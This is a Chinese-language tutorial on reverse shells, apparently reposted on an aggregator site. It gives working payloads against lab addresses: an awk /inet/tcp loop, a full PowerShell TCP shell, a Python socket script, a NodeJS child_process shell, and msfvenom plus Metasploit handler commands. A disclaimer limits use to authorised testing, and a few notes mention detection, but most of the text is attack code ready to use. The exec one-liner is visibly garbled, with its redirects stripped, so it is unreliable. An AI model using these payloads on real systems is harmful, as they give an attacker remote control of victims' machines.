反弹Shell的方式和详解

您所在的位置:网站首页 反弹琵琶的拟题例子大全 反弹Shell的方式和详解

反弹Shell的方式和详解

2024-07-12 16:41| 来源: 网络整理| 查看: 265

文章目录 一、介绍1.1 含义1.2 目的1.3 原理 二、Linux反弹Shell2.1 Bash 反弹shell2.1.1 适用对象2.1.2 操作方法2.1.3 命令原理 2.2 Curl 反弹shell2.2.1 适用对象2.2.2 操作方法2.2.3 命令原理 2.3 Exec 反弹shell2.3.1 适用对象2.3.2 操作方法 2.4 Awk 弹shell2.4.1 适用对象2.4.2 操作方法2.4.3 长联优点 三、Windows 反弹shell3.1 powershell 反弹shell3.1.1 适用对象3.1.2 操作方法 四、不同语言 反弹shell4.1 Python 反弹shell4.1.1 适用对象4.1.2 操作方法4.1.3 命令原理 4.2 PHP反弹shell4.2.1 适用对象4.2.2 操作方法4.2.3 命令原理 4.3 NodeJS 反弹shell4.3.1 适用对象4.3.2 操作方法 五、MSF 反弹shell5.1 Windows反弹shell(exe)5.2 Winsows反弹shell(powershell)5.3 Linux反弹shell(elf) 六、其它 反弹shell6.1 nc 反弹shell6.1.1 适用对象6.1.2 操作方法 在这里插入图片描述

声明:以下的反弹shell的介绍只适用于学习和授权情况下的操作,请勿用于非法环境!

一、介绍 1.1 含义

  反弹shell / 反向shell / 反弹壳 / 反弹外壳

  客户端连接服务端为正向连接(如:远程桌面、ssh等),反向连接弹shell(即反弹shell为攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端)

1.2 目的 对方主机在外网无法访问对方主机防火墙限制,只能发送请求,不能接收请求对方IP动态变化攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令遇到各种AV(AntiVirus,杀软)对正向的连接数据包检测,对出网的检测不严格 1.3 原理

让对方目标机器主动连接攻击者机器(攻击者指定服务端,受害者主机主动连接攻击者的服务端程序)

攻击者A开启19111端口TCP服务受害者B连接19111端口TCP服务A、B建立TCP连接A通过TCP服务将待执行命令发送到BB执行命令后将结果发送给A 二、Linux反弹Shell 2.1 Bash 反弹shell 2.1.1 适用对象 目标为Linux系统 2.1.2 操作方法

攻击者:192.168.123.192 受害者:192.168.159.129

攻击者nc监听端口: 在这里插入图片描述 受害者执行: 在这里插入图片描述 攻击者成功拿到一个cmd shell: 在这里插入图片描述

2.1.3 命令原理

大致介绍:

通过查看受害者运行的服务可知:在受害者本地开启了一个bash通过46944端口向远程地址192.168.123.192的19111端口走tcp协议 在这里插入图片描述

(漏洞特征!运维可以通过此标志检查主机是否沦陷,以及远控主机是谁!此方法经典但不隐蔽!!!)

命令阐述:

命令含义bash -i产生一个交互式的bash shell>&将标准输入和标准错误输出重定向到文件(目的:为了不在受害者终端中显示执行的命令)当>&后边接文件时,表示将表示将标准输入输出重定向到文件当>&后边接文件描述符时,表示讲前面的文件描述符重定向到后边的文件描述符/dev/tcp//一个特殊的设备,打开了这个文件相当于发出了一个socket调用,建立一个socket连接文件描述符0 - stdin,代表标准输入1 - stdout,代表标准输出2 - stderr,代表标准错误输出0>&1将标准输入重定向到标准输出

举例分析: 分析1: 将受害者的交互式shell输出重定向到攻击机上,受害者执行命令,攻击者只能看到结果不能执行控制!

(开启交互式bash,输出重定向到远程) 在这里插入图片描述 (攻击者不能获得shell只能看到受害者输出的内容) 在这里插入图片描述

分析2: 使用输入重定向,将远程攻击者输入的当作命令执行(执行一次就断了) 在这里插入图片描述 分析3: 为了获取交互式的shell,需要使用文件描述符0>&1

将受害者的标准输入重定向到标准输出,即远程攻击者可以进行输出命令到受害者,因此可以反弹shell(缺点:受害者会显示执行的指令) 在这里插入图片描述 分析4: 使用>& / &>将标准输入和标准输出都重定向到文件即可完美使用bash反弹shell 在这里插入图片描述

2.2 Curl 反弹shell 2.2.1 适用对象 目标为Linux系统 2.2.2 操作方法

攻击者:192.168.123.128(kali) 受害者:192.168.159.129

攻击者启动http服务,并在站点目录下存放一个文件,里面写着bash反弹shell命令(真实情况下需要VPS上部署HTTP服务,并建立如下文件) 在这里插入图片描述 受害者使用curl命令访问对方url,并重定向到bash 在这里插入图片描述 攻击者成功接到shell 在这里插入图片描述

2.2.3 命令原理

使用curl访问远程站点下文件,并使用管道符重定向到bash(间接地使用了bash一句话) 在这里插入图片描述 运维人员通过查看服务可以轻松发现主机已沦陷 在这里插入图片描述

2.3 Exec 反弹shell 2.3.1 适用对象 目标系统为Linux系统 2.3.2 操作方法

攻击者:192.168.123.192 受害者:192.168.159.129

受害者执行

exec 5/dev/tcp/192.168.123.192/19111;cat &5 >&5; done

成功接到shell 在这里插入图片描述

2.4 Awk 弹shell 2.4.1 适用对象 目标系统为Linux系统 2.4.2 操作方法

攻击者:192.168.123.192 受害者:192.168.159.129

攻击者nc监听shell 受害者使用awk命令执行:

awk 'BEGIN {s = "/inet/tcp/0/192.168.123.192/19111"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

攻击者成功接到shell 在这里插入图片描述

2.4.3 长联优点

长联:客户端一直保持向服务端反弹shell的状态

正常的bash反弹shell服务端结束了shell(ctrl+c取消),shell客户端(受害者)也随之结束建立连接的命令,但是awk再次监听端口时仍旧能连接(也就是客户端一直保持连接状态除非手动在客户端结束,这样的好处是即使服务端断开连接不用在受害者主机中再次执行命令直接nc接shell即可) 在这里插入图片描述

三、Windows 反弹shell 3.1 powershell 反弹shell 3.1.1 适用对象 目标系统为Windows系统 3.1.2 操作方法

攻击者nc监听shell端口 在这里插入图片描述 受害者执行

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',19111);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

攻击者成功获取到shell 在这里插入图片描述

四、不同语言 反弹shell 4.1 Python 反弹shell 4.1.1 适用对象 目标系统需安装python(Linux / Windows) 4.1.2 操作方法

攻击者:192.168.123.128(kali) 受害者:192.168.159.129

攻击者已知目标服务器上存在python环境 在这里插入图片描述 攻击者启动http服务,并在站点目录下存放一个py文件,使用socket建连反弹shell(真实情况下需要VPS上部署HTTP服务,并建立如下文件) 在这里插入图片描述 (reverse_py_shell.py中代码如下:)

#!/usr/bin/python #-*- coding: utf-8 -*- import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.159.128",19111)) #更改IP为自己的外网IP,端口自定义 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])

攻击nc监听shell连接 在这里插入图片描述 受害者主机中执行 在这里插入图片描述 攻击者成功获取到shell 在这里插入图片描述

4.1.3 命令原理

受害者使用curl命令工具访问攻击者站点上的反弹shell的python脚本,并通过管道符调用python解析器执行

运维人员通过查看服务可以轻松发现主机已沦陷 在这里插入图片描述

4.2 PHP反弹shell 4.2.1 适用对象 目标系统需安装PHP,如windows下的需要配置PHP环境变量(Linux / Windows) 4.2.2 操作方法

攻击者:192.168.159.128(kali) 受害者:192.168.159.128(在windows上实验反弹失败)

攻击者已知目标服务器上存在php环境 在这里插入图片描述 攻击者启动http服务,并在站点目录下存放一个txt文件,里面写着php反弹shell命令(真实情况下需要VPS上部署HTTP服务,并建立如下文件) 在这里插入图片描述 (PHP脚本内容如下:)

攻击者nc监听shell 在这里插入图片描述 受害者执行如下命令 在这里插入图片描述 攻击者成功获得shell 在这里插入图片描述

4.2.3 命令原理

php使用socket进行shell反向连接

运维人员通过查看服务可以轻松发现主机已沦陷 在这里插入图片描述

4.3 NodeJS 反弹shell 4.3.1 适用对象 目标系统需安装NodeJS,如windows下的需要配置PHP环境变量(Linux / Windows) 4.3.2 操作方法

攻击者:192.168.159.128(kali) 受害者:192.168.1.100

查看目标系统是是否安装了nodejs 在这里插入图片描述 攻击者启动HTTP服务,并将如下文件放入到站点根目录下 在这里插入图片描述

(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(19111, "192.168.1.100", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();

攻击者nc监听shell 在这里插入图片描述 在受害者主机中使用curl命令行攻击加载远程目标地址的JS代码并执行 在这里插入图片描述 攻击者成功接到shell 在这里插入图片描述

同样,运维管理员可以查看到入侵的服务特征 在这里插入图片描述

五、MSF 反弹shell 5.1 Windows反弹shell(exe) windows上反弹Meterpreter shell,详情可参考:MSF --Windows后门之exe文件 5.2 Winsows反弹shell(powershell)

攻击者执行:

通过shell查看对方操作系统位数: systemctl(Windows) uname -a(Linux) 在这里插入图片描述 msfvenom生成ps1格式的powershell脚本:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f psh-reflection > xxx.ps1

在这里插入图片描述 启动一个http服务(kali) 在这里插入图片描述 并将ps1文件移动到站点目录下 在这里插入图片描述 开启msf并进行端口监听配置 msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.253.129 set lport 19111 exploit/run

受害者执行

通过站点下载ps1文件: 在这里插入图片描述 通过powershell执行该文件:如运行报错可以 更改当前powershell策略

Tips1:注意下方执行的是./ 反斜杠 Tips2:需要powershell改变当前执行策略

在这里插入图片描述 成功拿到shell 在这里插入图片描述

5.3 Linux反弹shell(elf) Linux上反弹Meterpreter shell,详情可参考:MSF --Linux后门之elf文件 六、其它 反弹shell 6.1 nc 反弹shell 6.1.1 适用对象 目标系统安装netcat 6.1.2 操作方法

攻击者:192.168.159.128(kali) 受害者:192.168.1.100(Win)

攻击者客户端监听 在这里插入图片描述 受害者服务端执行(Windows) 在这里插入图片描述 受害者服务端执行(Linux) 在这里插入图片描述 攻击者成功收到shell 在这里插入图片描述



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3